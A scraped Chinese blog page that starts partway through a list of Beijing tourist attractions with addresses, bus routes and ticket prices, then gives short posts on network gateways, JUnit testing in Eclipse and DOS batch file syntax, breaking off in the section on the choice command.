        咨询电话 63723344-213
        票价 40-48元
        宣武区

        ★北京大观园
        北京大观园是依据古典文学名著《红楼梦》设计建造的古典文化园林,是拍摄电视剧《红楼梦》的实景场地。现占地13公顷,其40余处亭台楼阁、佛庵庭院、山形水系,配以繁花名木、鹤鸣鹿啼,是一座人间仙境。大型陈列《红楼文化艺术展》通过大量的实物、资料、场景向游人展示了红学文化艺术的博大精深。大观园自 1986年开放以来,先后荣获“新北京十六景”、“中国旅游胜地四十佳”等多种称号。
        地址 宣武区南菜园街12号
        交通路线 59、61、351、19、819、特3、122、603路大观园下车。
        咨询电话 63542299 63541345
        票价 10元

        ★陶然亭公园
        陶然亭公园是一和以亭景为主的大型公园,园中的华夏名亭园建有10座全国六省各市名亭,连同园内其它地方的亭景,公园**有36座风格各异、多彩多姿的亭子。在公园之内可以欣赏到全国各地的主要名亭:沧浪亭、醉翁亭、兰亭、少陵草堂碑亭、二泉亭、独醒亭、歇台等。
        地址 宣武区太平街19号
        交通路线 40、59、819、122、102、106、20、特5路陶然亭下车
        咨询电话 63532245
        票价 2元

        ★宣武艺园
        宣武艺园是一处仿古典式园林,分为东西两部分,东部以山为主,有山石、清池云墙、亭、榭轩、桥点缀的静雅园、丁香书院等主景区。静雅园为典型的园中之园,园内有文静榭、鸣蝉亭、芙蓉桥、莲花喷池等景点。艺园的西部,则以山林风景为主,有松竹滴翠、绿波流音、翠浮叠景、醒狮园等景点。
        地址 宣武区槐柏树街12号
        交通路线 38、61路槐柏树街下车。
        咨询电话 63012158,63040443
        票价 1元
        崇文区

        ★天坛公园
        是明、清两代帝王祭天祈谷之处,始建于明永乐十八年(1420年),是我国现存最大的古代祭祀性建筑群,占地约270万平方米,以严谨的建筑布局、奇特的建筑结构、瑰丽的建筑装饰而著称于世。天坛有恒墙两重,形成内外坛,坛墙南方北圆,象征天圆地方。天坛是圜丘、祈谷两坛的总称。主要建筑在内坛,圜丘坛在南、祈谷坛在北,二坛同在一条南北轴线上,中间有墙相隔。圜丘坛内主要建筑有圜丘坛、皇穹宇等;祈谷坛内主要建筑有祈年殿、皇乾殿、祈年门等,内坛西墙内有斋宫,外坛西墙内有神乐署。
        地址 崇文区天坛路
        交通路线 17、36联64、54、106、120路天坛下车,6、35路天坛北门下车,39路天坛东门下车,120、122、803、特3路天坛南门下车。
        咨询电话 67022617,67028866-8104
        票价 14元

        ★北京游乐园
        坐落在风景宜人的龙潭湖畔,是中日合资经营的大型现代化园林式游乐园,占地面积40万平方米(其中水面11.5万平方米),有22项国外引进的大型现代化游乐设施,其中62米高的“大观缆车”,可使您饱览古都风韵,“激流勇进”使您在波峰浪谷中起伏,“大螺旋滑行车”使您惊心动魄,幻想水族馆带您进入神奇的深海世界。此外,这里还有水上摩托艇、碰碰车、大海贼、快乐杯、旋转木马、水上漫游、飞行塔、浪卷珍珠、空中单轨列车等娱乐设施。
        地址 崇文区左安门内大街1号
        交通路线 6路、60路、116路、12路、607路、807路、943路公共汽车均可到达。
        咨询电话 67146909,67111155-220
        票价

        ★龙潭公园
        龙潭公园三湖相连,是以龙景为主的大型公园。公园内为突出龙的形象,所有的建筑和景物都与龙相关,如“飞殿、龙亭、龙山、龙潭、龙瀑、龙门等。园内还种植了龙桑、龙柏、龙枣、龙榆、龙爪槐、龙爪柳等。
        地址 崇文区龙潭路8号
        交通路线 6、12、60、116、807路北京游乐园下车。
        咨询电话 67144336
        票价 1元
        朝阳区

        ★朝阳公园
        是北京市最大的公园,东西宽1.5公里,南北长2.8公里,面积320公顷,其中水系67公顷,陆地253公顷。园内设施融科技、文化、休闲、娱乐、竞技于一体,为游人提供全方位的休闲空间。现已初步建成水上游览、戏水乐园、酒吧文化广场、中央领导人植树林、国际友谊林、将军林、金台艺术馆、旅游街和海鲜美食城。
        地址 朝阳区农展馆南路1号
        交通路线 302、43、718、710、815、115、412、350路公共汽车均可到达。
        咨询电话 65953725,65076786,65953972
        票价 5元

        ★中华民族园
        是集中国少数民族的传统建筑,民俗风情、歌舞表演、工艺制作以及民族美食为一体的大型民族文化基地。北园内共建有民族村寨十六个,包括藏族、苗族、彝族、侗族、台湾原住族、布依族、朝鲜族、哈尼族、傣族、佤族、羌族、达斡尔族、景颇族、鄂温克族、鄂伦春族、赫哲族景区。园内还建有国内最大的铸铁雕塑以及仿真的热带榕林、水中溶洞、土林以及盘龙瀑布、阿里山神木、沧源岩画等。南园包括民族博物馆、雕塑广场等大型设施,以及二十余个民族村寨。全部建筑均采用 1:1的比例,真实地再现出各个民族的文化遗存。
        地址 朝阳区民族园路1号
        交通路线 345、715、305、344、55、618、804、939路祁家豁子站下车,407、380、702、941、特2路民族园路下车;386、406路奥体中心站下车。
        咨询电话 62063640,62063646,62063647
        票价 60元,学生45元,残疾人、60岁以上的老人40元

        ★日坛公园
        是明清两代帝王祭祀大明之神(太阳)的处所,建于明嘉靖九年(1530年),坛为方形。在公园东南角建有胜春园,占地1万平方米,中有曲池,池中有一对石雕的天鹅,一只石蛤蟆向上喷水。园东南小山上有清晖亭,南侧建有花果园,西北角有马骏烈士墓。因为公园座落在使馆区,因此成为各国外交官员喜游的场所。
        地址 建外日坛路
        交通路线 1、4、9、48、57、120、403、938、938支、808、团结湖专线日坛路下车,29路日坛公园下车。
        咨询电话 65021743
        票价 1元

        ★团结湖公园
        团结湖公园是一座以江南民居风格为主的园林,它是在1958年由人民群众团结协作开发而成,故命名“团结湖”。全园面积为13.8万平方米,其中湖面占三分之一,三个相连的湖泊环绕全国。公园内树木葱茏、淡雅幽静,为附近的团结湖小区居民提供了一处休闲健身的场所。
        地址 朝阳区团结湖南里16号
        交通路线 115路团结湖公园下,43、团结湖专线团结湖下车。
        咨询电话 85973603
        票价 1元

        ★元大都城垣遗址公园
        元大都城垣遗址公园是在元大都城墙遗址上修建的一座公园,它以郊野风光为特色,集文物保护及园林绿化为一体,是一座新型的城市园林。
        地址 朝阳区安外小关街24号
        交通路线 104路五路居下车。
        咨询电话 64421474
        票价

        ★红领巾公园旅游区
        红领巾公园占地37.5万平方米,水面面积20万平方米,因为园内有“红领巾之歌”群雕十六座被命名为青少年教育基地。园内还有儿童游乐场、游船区和钓鱼区。
        地址 朝阳区后八里庄
        交通路线 9、908路金台路下车
        咨询电话 85833385
        票价 1元

        ★龙庆峡风景区
        位于延庆县城东北15公里处(古城村),距市区80公里。龙庆峡既有南方的妩媚秀丽,又有北方的雄浑壮观,被人们称誉为“塞外小漓江”、“中国小三峡”。龙庆峡四季风光无限,春有百花,夏有凉风,秋有红叶,冬有冰灯。龙庆峡水库大坝外侧两山壁立,遮天蔽日,终年不见阳光,结冰期长达4个月。
        地址
        交通路线 德胜门外乘919路到延庆,换乘中巴直达,或换乘920环线车到达;也可从***乘游8路直达。驾车可从马甸桥上八达岭高速公路到延庆,再上京张公路行驶,有路标。
        咨询电话 69191020
        票价 35元

        ★妫河漂流
        在延庆有一条古老、秀美而充满传奇色彩的河流——妫河。它源自群峰环列的自护区,东穿龙庆峡婉转出山,至金乐山西折,经妫川绕康西草原入官厅湖,迤逦50公里,连缀众多景区,尽得山神韵。
        在妫河中漂流,可经过15公里水路,100多道弯曲,沿路犹如一条绿色回转的长廊。途中的情人岛、荻花滩、喜鹊林等十余个景点各有情趣:“妫河十渡”的十座形态各异的渡桥更显新奇;六道叠水激流又使河水急缓相间,令漂流妙趣横生。
        地址
        交通路线 乘游1~游5至八达岭转车,或乘游8、919路至延庆转车。驾车可从马甸桥上八达岭高速到延庆,有路标。
        咨询电话 69189876
        票价 100元

        ★古崖居遗址
        位于延庆县西部15公里张山营乡东门营村北幽静的峡谷中,东连松山自然保护区,南临官厅水库。古崖居遗址是古人在陡峭的山崖上凿建的居室,共有117个洞穴,是我国目前发现规模最大的崖居遗址。
        在近10万平方米陡峭崖壁上的洞穴,有的上下相通,有的左右相连;洞内凿有石灯台、石灶台、石炕,布局合理;排烟道、气孔、户枢、门框痕迹历历在目。
        地址
        交通路线 德胜门乘919路汽车在延庆站下车,转乘920路或小公共至下营站,再换乘直达古崖居的中巴。驾车可从马甸桥上八达岭高速公路到延庆,再沿110国道行至东门营村后,再行2公里即到。
        咨询电话 69110333
        票价 30元

        ★松山森林旅游区
        位于延庆县西北部,距市区90公里。这里保存了京郊最完整的自然生态系统。旅游区的海陀山海拔2199.6,为北京市第二高峰。著名景点有天然油松林、百瀑泉、八仙洞、松月潭、雄狮饮水、金蟾望月、飞龙壁等。
        松山气候宜人,是北京低温区之一。此地野生动物、天然植物种类多,有保存较完好的原始次生林。
        地址
        交通路线 德外乘919路到延庆县城转乘920路公汽可达。驾车可从马甸桥上八达岭高速公路到延庆,沿京张公路行至张山营镇后再行驶几百米即到。
        咨询电话 69148436,69143714,69148435
        票价 30元

        ★大古城沙漠奇景
        在八达岭高速公路的尽头,延庆八达岭长城北侧,北京与河北交界的官厅水库南岸,有离京城最近的一块沙漠,方圆约为1平方公里,许多表现沙漠场景的电影都是在这里拍摄的。来这里可以欣赏沙漠美景,骑骆驼,玩沙滩排球,拍照。
        地址
        交通路线 乘969路直达,开车从马甸桥上八达岭高速公路过八达岭西行28公里即到,路途上需要一个半小时。
        咨询电话
        票价

        ★滴水壶风景区
        位于延庆县东北70公里与怀柔县交界处千家店镇下湾村。景区内谷幽峡深、群峰竞秀、林木苍郁,尽显绿水奔流的山野风光。远古时期地壳变迁形成许多形状怪异的溶洞,而且洞中有洞,洞洞有潭,洞内奇观异景纷呈。峡谷内激流狂涌,奔流的谷水从几十米、上百米高的悬崖峭壁上飞泻潭涧。举目观看,满谷内到处飞瀑跌岸,回声如雷,浪花飞溅、烟雾迷蒙。
        地址
        交通路线 德胜门乘919路至延庆,或东直门乘916路长城旅馆下车,转乘东卯中巴。驾车可从三元桥下京顺路到怀柔,沿怀丰公路行至汤河
        咨询电话
        票价

        ★ 康西草原
        位于延庆县八达岭长城西侧15公里(康庄镇),距市区80公里,有草场约2200万平方米,是京郊避暑胜地。它西邻官厅湖,北依海陀山,依山傍水,风景秀美,具有山、水、林、草融为一体的独特景观。
        白天可以骑马在草原上奔驰,夜晚可以举办篝火晚会,体验塞外风情。
        地址
        交通路线 德胜门乘919路支线或班车直达。驾车可从马甸桥上八达岭高公路到终点后西行即到。
        咨询电话 69131603,69131601
        票价 20元

        ★仓米古道旅游区
        位于延庆东部山区,距市区90公里,景区850平方公里,旅游路线全程百余公里。这里山环水绕,移步换景,景点相得益彰,年均温度比北京低5度左右,是回归大自然、休闲避暑的绝好去处。景区共分6个小景区:燕山天池景区、木化石群景区、滴水湖景区、“葱茏四百旋”、齐仙岭景区、珍珠泉景区。
        地址
        交通路线 德胜门乘919路到延庆旅游局下车有接待站。驾车从马甸桥上八达岭高速公路至八达岭下高速往北至延庆县城转盘,再向前见红绿灯右转,行8公里路北有路标。
        咨询电话 81193586、69182717
        票价 燕山天池30地,古木化石群20元,齐仙岭景区16元,乌龙峡谷20

        ★森鑫森林公园
        位于顺义区潮白河衅李遂镇,高高的白杨林下绿茸茸的草地上有斑斓的小木屋小帐篷,有滑沙场、旱冰场、游泳场。可骑马、野营、野炊、篝火晚会,潮白河上还可坐竹木排、皮筏子漂流。
        地址
        交通路线 东直门乘915路顺义下车再打车,或从东直门乘923路李遂下车。驾车可从三元桥上京顺路到顺义县城,在五里仓环岛往南行,到林河开发区左拐到柳各庄大桥右拐即到。
        咨询电话 89481753,89481763,89481740
        票价 15元

        ★ 焦庄户地道战遗址
        位于顺义区焦庄户村,距市区60公里,保留下来的遗址有600米长。地道内有休息室和指挥所,有单人掩体、陷阱、碾盘和庙台暗堡等战斗设施,还有水缸、炕洞、墙柜、锅台、猪圈、柴棚、驴槽等较隐蔽的出入口和了望楼。
        主要活动有三项:看地道战电影,参观展览和地道战遗址,听当年老民兵讲述战斗经历。
        地址
        交通路线 东直门乘开往焦庄户的直达车。驾车可从三元桥上京顺路到顺义,往东行驶4公里后有一叉道口(丰伯道口),右拐半小时左右即到

        ★丫髻山森林公园
        位于平谷县西北部刘店乡境内,距市区75公里。山高360余米,因双峰直插云霄酷似丫髻而得名。景区总面积5平方公里,有怪石、暗河、戏楼、南天门,回香亭、东岳庙、灵宫殿、碑林等景观,是一处集自然风光和古代道教文化为一体的旅游区。
        山脚下的月牙湖上可荡舟、嬉水、上游还可放河灯。丫髻山庙会之盛冠盖京师。最为著名的是每年农历四月初一至十五举办的“万人会”。
        地址
        交通路线 东直门乘918路汽车到关庄路口下车。驾车可从三元桥下京顺路到平谷,在第一个路口左拐,沿平密路行驶大约15公里即到。
        咨询电话 61971063
        票价 15元

        ★京东沟金谷
        位于平谷县黄松峪乡,景区纵深4公里,有自然景观和古文化遗址数十处。著名景观有神鸽石、金蟾石、圣水泉、圣水潭、高崖古墨、洞顶莲花等,周围群峰耸立、千峰竞秀,谷内奇花异草,花果飘香。
        交通路线 东直门乘918路至平谷转乘8路直达。
        咨询电话 60988629
        票价 成人10元,学生5元

        ★金海湖风景区
        位于平谷县城东15公里,距市区90公里,原名海子水库,是北京的第三大水库。湖的东西北三面环山,峰峦叠嶂,风景秀丽,有自然景观,人文景观数十处。在金海湖西北小山头上有观景堂,它西依金海湖大坝,三面环水。
        横山的主峰上有金海湖名景之一的“驼蜂夕照”,住有数百只鸽子的鸽子洞,曾有两个道士修行的董、葛洞及洞顶通天的通天洞。金海湖湖面大,水上娱乐项目很多。景区服务设施齐全,使此处成为京郊融休闲、疗养、会议于一体的最大的水上乐园。
        地址
        交通路线 东直门乘918路,东大桥乘游14路直达。驾车可从三元桥下京顺路到平谷县城,往东行驶17公里即到。
        咨询电话 69991356,69993943
        票价 12元

        ★京东石林峡
        位于平谷县黄松峪乡,距市区85公里,景区占地12平方公里,因地处京东且谷内山峰挺立峭拔,宛若片片石林而得名。石林峡内景观秀丽奇伟,以“六大景”被人们广为称道:一曰石林,谷内山峰峭拔,根根直立,如座座石林;二曰九天飞瀑,为四级瀑布,最高一级瀑布落差达40余米,瀑布总落差达80余米,瀑布飞泻而下,气势宏伟,其声于谷中轰响不绝;三曰立崖悬柏,石林峡内崖高壁陡,高崖上横生出不计其数的柏树和其它树种,树干于崖壁上斜出。。。

         

         

         

         

         

         

         

        故宫 颐和园 天坛 北海 香山 圆明园 大观园 雍和宫 什刹海 团城演武厅 三山五园 皇城根遗址公园 十三陵 凤凰岭 阳台山

        妙峰山古香 道觉寺 潭拓寺 戒台寺 万寿寺 大钟寺

        长城 :司马台长城 八达岭长城 慕田峪长城 金山岭长城 居庸关长城 箭扣长城

        名人故居: 宋庆龄故居 郭沫若故居 老舍故居 名人故居 四合院 胡同 王府 国子监 北京孔庙 李莲英旧宅 萨利宅院 东交民巷 东交民巷教堂 明清皇家档案馆皇史宬

        北京大学 清华大学 中关村 海淀区 海淀镇 上地信息产业基地

        王府井 王府井小吃街 潘家园旧货市场 小张泥人 琉璃厂 大栅栏 北京的城墙 卢沟桥

         

      • 网关

        2009-03-19 10:10:44

        网关(Gateway)又称网间连接器、协议转换器。网关在传输层上以实现网络互连,是最复杂的网络互连设备,仅用于两个高层协议不同的网络互连。网关的结构也和路由器类似,不同的是互连层。网关既可以用于广域网互连,也可以用于局域网互连。 网关是一种充当转换重任的计算机系统或设备。在使用不同的通信协议、数据格式或语言,甚至体系结构完全不同的两种系统之间,网关是一个翻译器。与网桥只是简单地传达信息不同,网关对收到的信息要重新打包,以适应目的系统的需求。同时,网关也可以提供过滤和安全功能。大多数网关运行在OSI 7层协议的顶层--应用层。
          大家都知道,从一个房间走到另一个房间,必然要经过一扇门。同样,从一个网络向另一个网络发送信息,也必须经过一道“关口”,这道关口就是网关。顾名思义,网关(Gateway)就是一个网络连接到另一个网络的“关口”。

          按照不同的分类标准,网关也有很多种。TCP/IP协议里的网关是最常用的,在这里我们所讲的“网关”均指TCP/IP协议下的网关。

         


          那么网关到底是什么呢?网关实质上是一个网络通向其他网络的IP地址。比如有网络A和网络B,网络A的IP地址范围为“192.168.1.1~192. 168.1.254”,子网掩码为255.255.255.0;网络B的IP地址范围为“192.168.2.1~192.168.2.254”,子网掩码为255.255.255.0。在没有路由器的情况下,两个网络之间是不能进行TCP/IP通信的,即使是两个网络连接在同一台交换机(或集线器)上,TCP/IP协议也会根据子网掩码(255.255.255.0)判定两个网络中的主机处在不同的网络里。而要实现这两个网络之间的通信,则必须通过网关。如果网络A中的主机发现数据包的目的主机不在本地网络中,就把数据包转发给它自己的网关,再由网关转发给网络B的网关,网络B的网关再转发给网络B的某个主机(如附图所示)。网络B向网络A转发数据包的过程。
          所以说,只有设置好网关的IP地址,TCP/IP协议才能实现不同网络之间的相互通信。那么这个IP地址是哪台机器的IP地址呢?网关的IP地址是具有路由功能的设备的IP地址,具有路由功能的设备有路由器、启用了路由协议的服务器(实质上相当于一台路由器)、代理服务器(也相当于一台路由器)。
          在和 Novell NetWare 网络交互操作的上下文中,网关在 Windows 网络中使用的服务器信息块 (SMB) 协议以及 NetWare 网络使用的 NetWare 核心协议 (NCP) 之间起着桥梁的作用。网关也被称为 IP 路由器。
          计算机主机网关的作用是什么?
          假设你的名字叫小不点,你住在一个大院子里,你的邻居有很多小伙伴,在门口传达室还有个看大门的李大爷,李大爷就是你的网关。当你想跟院子里的某个小伙伴玩,只要你在院子里大喊一声他的名字,他听到了就会回应你,并且跑出来跟你玩。
          但是你不被允许走出大门,你想与外界发生的一切联系,都必须由门口的李大爷(网关)用电话帮助你联系。假如你想找你的同学小明聊天,小明家住在很远的另外一个院子里,他家的院子里也有一个看门的王大爷(小明的网关)。但是你不知道小明家的电话号码,不过你的班主任老师有一份你们班全体同学的名单和电话号码对照表,你的老师就是你的DNS服务器。于是你在家里拨通了门口李大爷的电话,有了下面的对话:
          小不点:李大爷,我想找班主任查一下小明的电话号码行吗?
          李大爷:好,你等着。(接着李大爷给你的班主任挂了一个电话,问清楚了小明的电话)问到了,他家的号码是211.99.99.99
          小不点:太好了!李大爷,我想找小明,你再帮我联系一下小明吧。
          李大爷:没问题。(接着李大爷向电话局发出了请求接通小明家电话的请求,最后一关当然是被转接到了小明家那个院子的王大爷那里,然后王大爷把电话给转到小明家)
          就这样你和小明取得了联系。
          解决跨网关技术
          现行的IPV4的IP地址是32位的,根据头几位再划分为A、B、C三类地址;但由于INTERNET的迅猛发展,IP资源日渐枯竭,可供分配的IP地越来越少,跟一日千里的INTERNET发展严重冲突,在IPV6还远未能全面升级的情况下,惟有以代理服务器的方式,实行内部网地址跟公网地址进行转化而实现接入INTERNET。
          中介作用的代理服务器就是一个网关,也就是这个网关带给现阶段的多媒体通讯系统无尽的烦恼。在IP资源可怜的情况下,惟有以网关甚至多层网关的方式接入宽带网, 因为多媒体通讯系统的协议如H.323等要进行业务的双方必须有一方有公网的IP地址,但是现在的宽带有几个用户能符合这个要求?microsoft的NETMEETING等等多媒体通讯系统就是处于这种尴尬的位置;跨网关成为头疼的难题。
          跨网关: 网络数据通过层层网关,受制于网关节点速度,网络速度大大降低。 跨网关技术基于底层网络协议,突破网关瓶颈,实现客户点对点交流。
          网关的类型
          1、传输网关。传输网关用于在2个网络间建立传输连接。利用传输网关,不同网络上的主机间可以建立起跨越多个网络的、级联的、点对点的传输连接。例如通常使用的路由器就是传输网关,“网关”的作用体现在连接两个不同的网段,或者是两个不同的路由协议之间的连接,如RIP,EIGRP,OSPF,BGP等。
          2、应用网关。应用网关在应用层上进行协议转换。例如,一个主机执行的是ISO电子邮件标准,另一个主机执行的是Internet 电子邮件标准,如果这两个主机需要交换电子邮件,那么必须经过一个电子邮件网关进行协议转换,这个电子邮件网关是一个应用网关。再例如,在和 Novell NetWare 网络交互操作的上下文中,网关在 Windows 网络中使用的服务器信息块 (SMB) 协议以及 NetWare 网络使用的 NetWare 核心协议 (NCP) 之间起着桥梁的作用。NCP是工作在OSI第七层的协议,用以控制客户站和服务器间的交互作用,主要完成不同方式下文件的打开、关闭、读取功能。
          现在的网关产品分类越来越细了,有信令网关,中继网关,还有接入网关:
          信令网关SG,主要完成7号信令网与IP网之间信令消息的中继,在3G初期,对于完成接入侧到核心网交换之间的消息的转接(3G之间的RANAP消息,3G与2G之间的BSSAP消息),另外还能完成2G的MSC/GMSC与软交换机之间ISUP消息的转接。
          中继网关又叫IP网关,同时满足电信运营商和企业需求的VoIP设备。中继网关(IP网关)由基于中继板和媒体网关板建构,单板最多可以提供128路媒体转换,两个以太网口,机框采用业界领先的CPCI标准,扩容方便具有高稳定性、高可靠性、高密度、容量大等特点.
          接入网关是基于IP的语音/传真业务的媒体接入网关,提供高效、高质量的话音服务,为运营商、企业、小区、住宅用户等提供VoIP解决方案。
      • VMware虚拟机中的三种连接方式

        2009-03-19 10:08:08

         

      • Eclipse中使用Junit插件测试

        2009-03-13 15:50:37

         

        Junit4.5 下载地址:http://download.csdn.net/down/728288/skydove

            如果提示没有SuperClass,通过Browse添加下载的junit4.5.jar文件包

         

        测试对于保证软件开发质量有着非常重要的作用,单元测试更是必不可少,JUnit是一个非常强大的单元测试包,可以对一个/多个类的单个/多个方法测试,还可以将不同的TestCase组合成TestSuit,使测试任务自动化。Eclipse同样集成了JUnit,可以非常方便地编写TestCase。

          我们创建一个Java工程,添加一个example.Hello类,首先我们给Hello类添加一个abs()方法,作用是返回绝对值:

          下一步,我们准备对这个方法进行测试,确保功能正常。选中Hello.java,右键点击,选择New->JUnit Test Case:

          Eclipse会询问是否添加junit.jar包,确定后新建一个HelloTest类,用来测试Hello类。

         

         如果提示没有SuperClass,通过Browse添加下载的junit4.5.jar文件包

          选中setUp()和tearDown(),然后点击“Next”:

          选择要测试的方法,我们选中abs(int)方法,完成后在HelloTest.java中输入:

          JUnit会以以下顺序执行测试:(大致的代码

        try {
        HelloTest test = new HelloTest(); // 建立测试类实例
        test.setUp(); // 初始化测试环境
        test.testAbs(); // 测试某个方法
        test.tearDown(); // 清理资源
        }
        catch…


          setUp()是建立测试环境,这里创建一个Hello类的实例;tearDown()用于清理资源,如释放打开的文件等等。以test开头的方法被认为是测试方法,JUnit会依次执行testXxx()方法。在testAbs()方法中,我们对abs()的测试分别选择正数,负数和0,如果方法返回值与期待结果相同,则assertEquals不会产生异常。

          如果有多个testXxx方法,JUnit会创建多个XxxTest实例,每次运行一个testXxx方法,setUp()和tearDown()会在testXxx前后被调用,因此,不要在一个testA()中依赖testB()。

          直接运行Run->Run As->JUnit Test,就可以看到JUnit测试结果:

          绿色表示测试通过,只要有1个测试未通过,就会显示红色并列出未通过测试的方法。可以试图改变abs()的代码,故意返回错误的结果(比如return n+1;),然后再运行JUnit就会报告错误。

          如果没有JUnit面板,选择Window->Show View->Other,打开JUnit的View:

          JUnit通过单元测试,能在开发阶段就找出许多Bug,并且,多个Test Case可以组合成Test Suite,让整个测试自动完成,尤其适合于XP方法。每增加一个小的新功能或者对代码进行了小的修改,就立刻运行一遍Test Suite,确保新增和修改的代码不会破坏原有的功能,大大增强软件的可维护性,避免代码逐渐“腐烂”。

      • bat文件语法和技巧(bat文件的编写及使用)

        2009-03-13 10:31:17

        bat文件语法和技巧(bat文件的编写及使用)


        新闻来自: 新客网(www.xker.com) 详文参考:http://www.xker.com/page/e2009/0307/69948.html

        首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。

        其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。

        第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:\BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:\batch,你就可以在任意位置运行所有你编写的批处理程序。

        第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例:
        @ECHO OFF
        PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH
        LH SMARTDRV.EXE /X
        LH DOSKEY.COM /INSERT
        LH CTMOUSE.EXE
        SET TEMP=D:\TEMP
        SET TMP=D:\TEMP


        批处理的作用
        简单的说,批处理的作用就是自动的连续执行多条命令。

        这里先讲一个最简单的应用:在启动wps软件时,每次都必须执行(>前面内容表示DOS提示符):
        C:\>cd wps
        C:\WPS>spdos
        C:\WPS>py
        C:\WPS>wbx
        C:\WPS>wps
        如果每次用WPS之前都这样执行一遍,您是不是觉得很麻烦呢?

        好了,用批处理,就可以实现将这些麻烦的操作简单化,首先我们编写一个runwps.bat批处理文件,内容如下:
        @echo off
        c:
        cd\wps
        spdos
        py
        wbx
        wps
        cd\

        以后,我们每次进入wps,只需要运行runwps这个批处理文件即可。

        常用命令

        echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。
        echo 表示显示此命令后的字符
        echo off 表示在此语句后所有运行的命令都不显示命令行本身
        @与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。
        call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。
        pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续
        rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。

        例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。

          批处理文件的内容为:         命令注释:

            @echo off           不显示后续命令行及当前命令行
            dir c:\*.* >a.txt       将c盘文件列表写入a.txt
            call c:\ucdos\ucdos.bat    调用ucdos
            echo 你好            显示"你好"
            pause              暂停,等待按键继续
            rem 准备运行wps         注释:准备运行wps
            cd ucdos            进入ucdos目录
            wps               运行wps  

        批处理文件的参数

        批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符"%"。

        %[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。

        例2:C:根目录下有一批处理文件名为f.bat,内容为:
        @echo off
        format %1

        如果执行C:\>f a:
        那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:

        例3:C:根目录下一批处理文件名为t.bat,内容为:
        @echo off
        type %1
        type %2

        那么运行C:\>t a.txt b.txt
        %1 : 表示a.txt
        %2 : 表示b.txt
        于是上面的命令将顺序地显示a.txt和b.txt文件的内容。


        特殊命令

        if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。

        一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:

        1、if [not] "参数" == "字符串" 待执行的命令

        参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。

        例:if "%1"=="a" format a:

        2、if [not] exist [路径\]文件名 待执行的命令
        如果有指定的文件,则条件成立,运行命令,否则运行下一句。

        如: if exist c:\config.sys type c:\config.sys
        表示如果存在c:\config.sys文件,则显示它的内容。

        3、if errorlevel <数字> 待执行的命令

        很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。

        如if errorlevel 2 goto x2

        二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。

        如:

        goto end

        :end
        echo this is the end

        标号用":字符串"来定义,标号所在行不被执行。

        三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。

        注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。

        choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):

        CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

        描述:
          该工具允许用户从选择列表选择一个项目并返回所选项目的索引。

        参数列表:
         /C  choices    指定要创建的选项列表。默认列表是 "YN"。

         /N         在提示符中隐藏选项列表。提示前面的消息得到显示,选项依旧处于启用状态。

         /CS         允许选择分大小写的选项。在默认情况下,这个工具是不分大小写的。

         /T  timeout    做出默认选择之前,暂停的秒数。可接受的值是从 0 到 9999。如果指定了 0,就不会有暂停,默认选项
                   会得到选择。

         /D  choice    在 nnnn 秒之后指定默认选项。字符必须在用 /C 选项指定的一组选择中; 同时,必须用 /T 指定 nnnn。

         /M  text     指定提示之前要显示的消息。如果没有指定,工具只显示提示。

         /?         显示帮助消息。

         注意:
